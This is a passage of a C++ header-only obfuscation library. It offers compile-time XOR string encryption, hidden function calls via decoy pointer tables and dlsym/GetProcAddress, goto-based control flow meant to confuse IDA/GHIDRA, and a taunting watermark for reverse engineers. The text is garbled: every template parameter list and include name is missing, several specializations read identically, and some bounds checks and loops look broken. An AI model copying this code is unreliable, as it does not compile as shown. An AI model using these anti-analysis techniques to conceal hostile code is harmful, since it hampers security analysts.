37 | #define INLINE inline // Regular inline doesn't always inline
38 | #endif
39 |
40 | // __TIME__ && __COUNTER__ both used as a random provider (compile-time) (XX:XX:XX)
41 | #define CTimeSeed ((__COUNTER__ + __TIME__[0] + __TIME__[1] + __TIME__[3] + __TIME__[4] +\
42 | __TIME__[6] + __TIME__[7]) * 2654435761u)
43 | #define RND(Min, Max) (Min + (CTimeSeed % (Max - Min + 1)))
44 |
45 | // Normal & threadlocal modes
46 | #define OBF_KEY_NORMAL(x, type, size, key) []() {\
47 | constexpr static auto data = obf::obfuscator(x);\
48 | return data;\
49 | }()
50 | #define OBF_KEY_THREADLOCAL(x, type, size, key) []() -> obf::decryptor& {\
51 | constexpr static auto data = obf::obfuscator(x);\
52 | thread_local auto decryptor = obf::decryptor(data);\
53 | return decryptor;\
54 | }()
55 | #define OBF_NORMAL(x) OBF_KEY_NORMAL(x, obf::clean_type, obf::getsize(x), (char)RND(1, 255))
56 | #define OBF_THREADLOCAL(x) OBF_KEY_THREADLOCAL(x, obf::clean_type, obf::getsize(x), (char)RND(1, 255))
57 |
58 | #if ENCRYPT_MODE == THREADLOCAL
59 | #define OBF(x) (meta::decay_t) OBF_THREADLOCAL(x)
60 | #else
61 | #define OBF(x) (meta::decay_t) OBF_NORMAL(x)
62 | #endif
63 |
64 | // Pointer-based call hiding (Crossplatform)
65 | #define DYNAMIC_HIDE_CALL(x, ...) ((decltype(x)) obf::ptr_hider().get())(__VA_ARGS__)
66 | #define STATIC_HIDE_CALL(x, ...) ((decltype(x)) obf::static_storager[OBF(5)])(__VA_ARGS__)
67 | #if CALL_HIDE_MODE == STATIC
68 | #define CALL(x, ...) STATIC_HIDE_CALL(x, __VA_ARGS__)
69 | #elif CALL_HIDE_MODE == DYNAMIC
70 | #define CALL(x, ...) DYNAMIC_HIDE_CALL(x, __VA_ARGS__)
71 | #endif
72 | // Symbol-based call hiding (different for Linux & windows)
73 | #if defined(__linux__) || defined(__ANDROID__)
74 | #include
75 | #define CALL_EXPORT(mtd, def) ((def)(dlsym(RTLD_DEFAULT, OBF(mtd))))
76 | #elif _WIN32
77 | #include
78 | #if defined(_MSC_VER) && !defined(__clang__) // in VisualC++ we cannot encrypt LPCWSTRs for now (ihate windows.h)
79 | #define CALL_EXPORT(lib, mtd, def) ((def)(GetProcAddress(LoadLibrary(lib), mtd)))
80 | #else
81 | #define CALL_EXPORT(lib, mtd, def) ((def)(GetProcAddress(LoadLibrary(OBF(lib)), OBF(mtd))))
82 | #endif
83 | #endif
84 |
85 | // Binary watermarking for IDA/GHIDRA that bypasses compiler optimizations
86 | #define WATERMARK(...)\
87 | const char * data[] = {__VA_ARGS__};\
88 | for (volatile int i = 0; i < sizeof(data)/sizeof(data[0]); i++)\
89 | obf::obf_draw(data[i]);\
90 |
91 | // This was created so the header works without type_traits (on gcc and other compilers)
92 | // It basically replicates type_traits, it might look scary just skip it
93 | namespace meta {
94 |
95 | template
96 | struct integral_constant {
97 | static constexpr T value = v;
98 | using value_type = T;
99 | using type = integral_constant; // using injected-class-name
100 | constexpr operator value_type() const noexcept { return value; }
101 | constexpr value_type operator()() const noexcept { return value; } // since c++14
102 | };
103 |
104 | typedef integral_constant false_type;
105 | typedef integral_constant true_type;
106 |
107 | // primary template
108 | template
109 | struct is_function : false_type {};
110 |
111 | // specialization for regular functions
112 | template
113 | struct is_function : true_type {};
114 |
115 | // specialization for variadic functions such as std::printf
116 | template
117 | struct is_function : true_type {};
118 |
119 | // specialization for function types that have cv-qualifiers
120 | template
121 | struct is_function : true_type {};
122 | template
123 | struct is_function : true_type {};
124 | template
125 | struct is_function : true_type {};
126 | template
127 | struct is_function : true_type {};
128 | template
129 | struct is_function : true_type {};
130 | template
131 | struct is_function : true_type {};
132 |
133 | // specialization for function types that have ref-qualifiers
134 | template
135 | struct is_function : true_type {};
136 | template
137 | struct is_function : true_type {};
138 | template
139 | struct is_function : true_type {};
140 | template
141 | struct is_function : true_type {};
142 | template
143 | struct is_function : true_type {};
144 | template
145 | struct is_function : true_type {};
146 | template
147 | struct is_function : true_type {};
148 | template
149 | struct is_function : true_type {};
150 | template
151 | struct is_function : true_type {};
152 | template
153 | struct is_function : true_type {};
154 | template
155 | struct is_function : true_type {};
156 | template
157 | struct is_function : true_type {};
158 | template
159 | struct is_function : true_type {};
160 | template
161 | struct is_function : true_type {};
162 | template
163 | struct is_function : true_type {};
164 | template
165 | struct is_function : true_type {};
166 |
167 | template
168 | struct is_array : false_type {};
169 | template
170 | struct is_array : true_type {};
171 | template
172 | struct is_array : true_type {};
173 |
174 | template
175 | struct remove_extent { using type = T; };
176 | template
177 | struct remove_extent { using type = T; };
178 | template
179 | struct remove_extent { using type = T; };
180 |
181 | template struct remove_reference { typedef T type; };
182 | template struct remove_reference { typedef T type; };
183 | template struct remove_reference { typedef T type; };
184 |
185 | template struct remove_cv { typedef T type; };
186 | template struct remove_cv { typedef T type; };
187 | template struct remove_cv { typedef T type; };
188 | template struct remove_cv { typedef T type; };
189 |
190 | template struct remove_const { typedef T type; };
191 | template struct remove_const { typedef T type; };
192 |
193 | template struct remove_volatile { typedef T type; };
194 | template struct remove_volatile { typedef T type; };
195 |
196 | template
197 | struct remove_all_extents { typedef T type; };
198 | template
199 | struct remove_all_extents {
200 | typedef typename remove_all_extents::type type;
201 | };
202 | template
203 | struct remove_all_extents {
204 | typedef typename remove_all_extents::type type;
205 | };
206 |
207 | template
208 | struct conditional { using type = T; };
209 | template
210 | struct conditional { using type = F; };
211 |
212 | template
213 | struct type_identity { using type = T; }; // or use std::type_identity (since C++20)
214 | template
215 | auto try_add_pointer(int)->type_identity::type*>; // usual case
216 | template
217 | auto try_add_pointer(...)->type_identity; // unusual case (cannot form std::remove_reference::type*)
218 | template
219 | struct add_pointer : decltype(try_add_pointer(0)) {};
220 |
221 | // Helpers from C++14
222 | template
223 | using remove_cv_t = typename remove_cv::type;
224 | template
225 | using remove_const_t = typename remove_const::type;
226 | template
227 | using remove_volatile_t = typename remove_volatile::type;
228 | template
229 | using remove_reference_t = typename remove_reference::type;
230 | template
231 | using remove_all_extents_t = typename remove_all_extents::type;
232 |
233 | template
234 | struct decay {
235 | private:
236 | typedef typename remove_reference::type U;
237 | public:
238 | typedef typename conditional<
239 | is_array::value,
240 | typename add_pointer::type>::type,
241 | typename conditional<
242 | is_function::value,
243 | typename add_pointer::type,
244 | typename remove_cv::type
245 | >::type
246 | >::type type;
247 | };
248 |
249 | template
250 | using decay_t = typename decay::type;
251 | }
252 |
253 | namespace obf {
254 |
255 | template
256 | using clean_type = typename meta::remove_const_t>;
257 |
258 | template
259 | static T ensure_threadlocal() { thread_local T v = value; return v; }
260 |
261 | template
262 | static constexpr T ensure_constexpr() { return value; }
263 |
264 | template
265 | constexpr size_t getsize(const T(&)[size]) { return size; }
266 |
267 | template
268 | constexpr size_t getsize(T) { return 1; }
269 |
270 | template
271 | constexpr static T gettype(const T(&)[size]);
272 |
273 | template
274 | constexpr static T gettype(T);
275 |
276 | // Decryption with control flow to confuse IDA/GHIDRA
277 | template
278 | INLINE void xord(T* data, int* stack, int* value) {
279 | #if CONTROL_FLOW == true
280 | for (int i = 0; i < size; i++) {
281 | goto l_1;
282 |
283 | l_increase:
284 | *stack += 1; // -Wunused-value
285 |
286 | l_1:
287 | if (*stack == *value + 1) {
288 | data[i] = data[i] ^ (*value + 1);
289 | goto l_increase;
290 | }
291 | if (*stack == *value + 2) {
292 | data[i] = data[i] ^ (*value + 2);
293 | goto l_increase;
294 | }
295 | if (*stack == *value + 0) {
296 | data[i] = data[i] ^ static_cast(key + i); // real
297 | continue;
298 | }
299 | if (*stack == *value + 4) {
300 | data[i] = data[i] ^ (*value + 3);
301 | goto l_increase;
302 | }
303 | if (*stack == *value + 5) {
304 | data[i] = data[i] ^ (*value + 4);
305 | goto l_increase;
306 | }
307 | }
308 | #else
309 | for (int i = 0; i < size; i++)
310 | data[i] = data[i] ^ static_cast(key + i); // no CONTROL_FLOW (optimized)
311 | #endif
312 | }
313 |
314 | template
315 | class obfuscator {
316 | public:
317 | INLINE constexpr obfuscator(const T* data) {
318 | for (int i = 0; i < size; i++)
319 | m_data[i] = data[i] ^ static_cast(key + i);
320 | }
321 |
322 | INLINE constexpr obfuscator(const T data) {
323 | m_data[0] = data ^ key;
324 | }
325 |
326 | INLINE T* decrypt() {
327 | if (!decrypted) {
328 | xord(m_data, &stack, &value);
329 | }
330 | decrypted = true;
331 | return m_data;
332 | }
333 |
334 | INLINE operator T* () {
335 | return decrypt();
336 | }
337 |
338 | INLINE operator T () {
339 | return decrypt()[0];
340 | }
341 |
342 | int stack = 0, value = 0;
343 | T result = NULL;
344 |
345 | bool decrypted = false;
346 | T m_data[size]{};
347 | };
348 |
349 | template
350 | class decryptor {
351 | public:
352 | INLINE decryptor(const obfuscator data) {
353 | for (int i = 0; i < size; i++)
354 | m_data[i] = data.m_data[i];
355 | }
356 |
357 | INLINE T* decrypt() {
358 | if (!decrypted) {
359 | xord(m_data, &stack, &value);
360 | }
361 | decrypted = true;
362 | return m_data;
363 | }
364 |
365 | INLINE operator T* () {
366 | return decrypt();
367 | }
368 |
369 | INLINE operator T () {
370 | return decrypt()[0];
371 | }
372 |
373 | int stack = 0, value = 0;
374 | T result = NULL;
375 |
376 | bool decrypted = false;
377 | T m_data[size]{};
378 | };
379 |
380 | volatile void obf_draw_orig(const char* param) { } // to avoid crashing we assign a real func
381 | typedef volatile void(*draw_ptr) (const char*); // define a draw function
382 | volatile draw_ptr obf_draw = reinterpret_cast(obf_draw_orig); // assign draw_orig to avoid segfault
383 |
384 | volatile void main_decoy() {
385 | // Message for crackers ;)
386 | WATERMARK("Stop reversing the program",
387 | "Reconsider your life choices",
388 | "And go touch some grass", "");
389 | }
390 |
391 | // Fake decoy functions to hide the original one (for call hiding)
392 | void decoy_1() { main_decoy(); }
393 | void decoy_2() { main_decoy(); }
394 | void decoy_3() { main_decoy(); }
395 | void decoy_4() { main_decoy(); }
396 | void decoy_5() { main_decoy(); }
397 | void decoy_6() { main_decoy(); }
398 | void decoy_7() { main_decoy(); }
399 | void decoy_8() { main_decoy(); }
400 | void decoy_9() { main_decoy(); }
401 | void decoy_10() { main_decoy(); }
402 |
403 | // We cannot randomize the real function index while using static storager sadly
404 | // So it's just a hardcoded index, for example 5 (like here)
405 | template
406 | T static_storager[] = {
407 | reinterpret_cast(&decoy_1),
408 | reinterpret_cast(&decoy_2),
409 | reinterpret_cast(&decoy_3),
410 | reinterpret_cast(&decoy_4),
411 | reinterpret_cast(&decoy_5),
412 | reinterpret_cast(real),
413 | reinterpret_cast(&decoy_6),
414 | reinterpret_cast(&decoy_7),
415 | reinterpret_cast(&decoy_1),
416 | reinterpret_cast(&decoy_2),
417 | reinterpret_cast(&decoy_3),
418 | reinterpret_cast(&decoy_4),
419 | reinterpret_cast(&decoy_5),
420 | reinterpret_cast(&decoy_1),
421 | reinterpret_cast(&decoy_2),
422 | reinterpret_cast(&decoy_3)
423 | };
424 |
425 | // In dynamic case we can actually randomize the index
426 | template
427 | class ptr_hider {
428 | public:
429 | INLINE ptr_hider() {
430 | real_index = OBF(index);
431 | START:
432 | int storager_size = sizeof(storager) / sizeof(storager[0]);
433 | if (real_index >= 0 && real_index < storager_size) {
434 | storager[real_index] = real;
435 | goto END;
436 | }
437 | if (real_index + 1 >= 0 && real_index + 1 < storager_size) {
438 | storager[real_index + 1] = reinterpret_cast(&decoy_1);
439 | goto START;
440 | }
441 | if (real_index + 2 >= 0 && real_index + 2 < storager_size) {
442 | storager[real_index + 2] = reinterpret_cast(&decoy_2);
443 | goto END;
444 | }
445 | if (real_index + 2 >= 0 && real_index + 3 < storager_size) {
446 | storager[real_index + 3] = reinterpret_cast(&decoy_3);
447 | goto START;
448 | }
449 | if (real_index + 2 >= 0 && real_index + 4 < storager_size) {
450 | storager[real_index + 4] = reinterpret_cast(&decoy_4);
451 | goto END;
452 | }
453 | if (real_index + 2 >= 0 && real_index + 5 < storager_size) {
454 | storager[real_index + 5] = reinterpret_cast(&decoy_5);
455 | goto START;
456 | }
457 | END: return;
458 | }
459 |
460 | T get() {
461 | return storager[real_index];
462 | }
463 |
464 | int real_index = 0;
465 | T storager[5];
466 | };
467 | }
468 |
469 | #endif
--------------------------------------------------------------------------------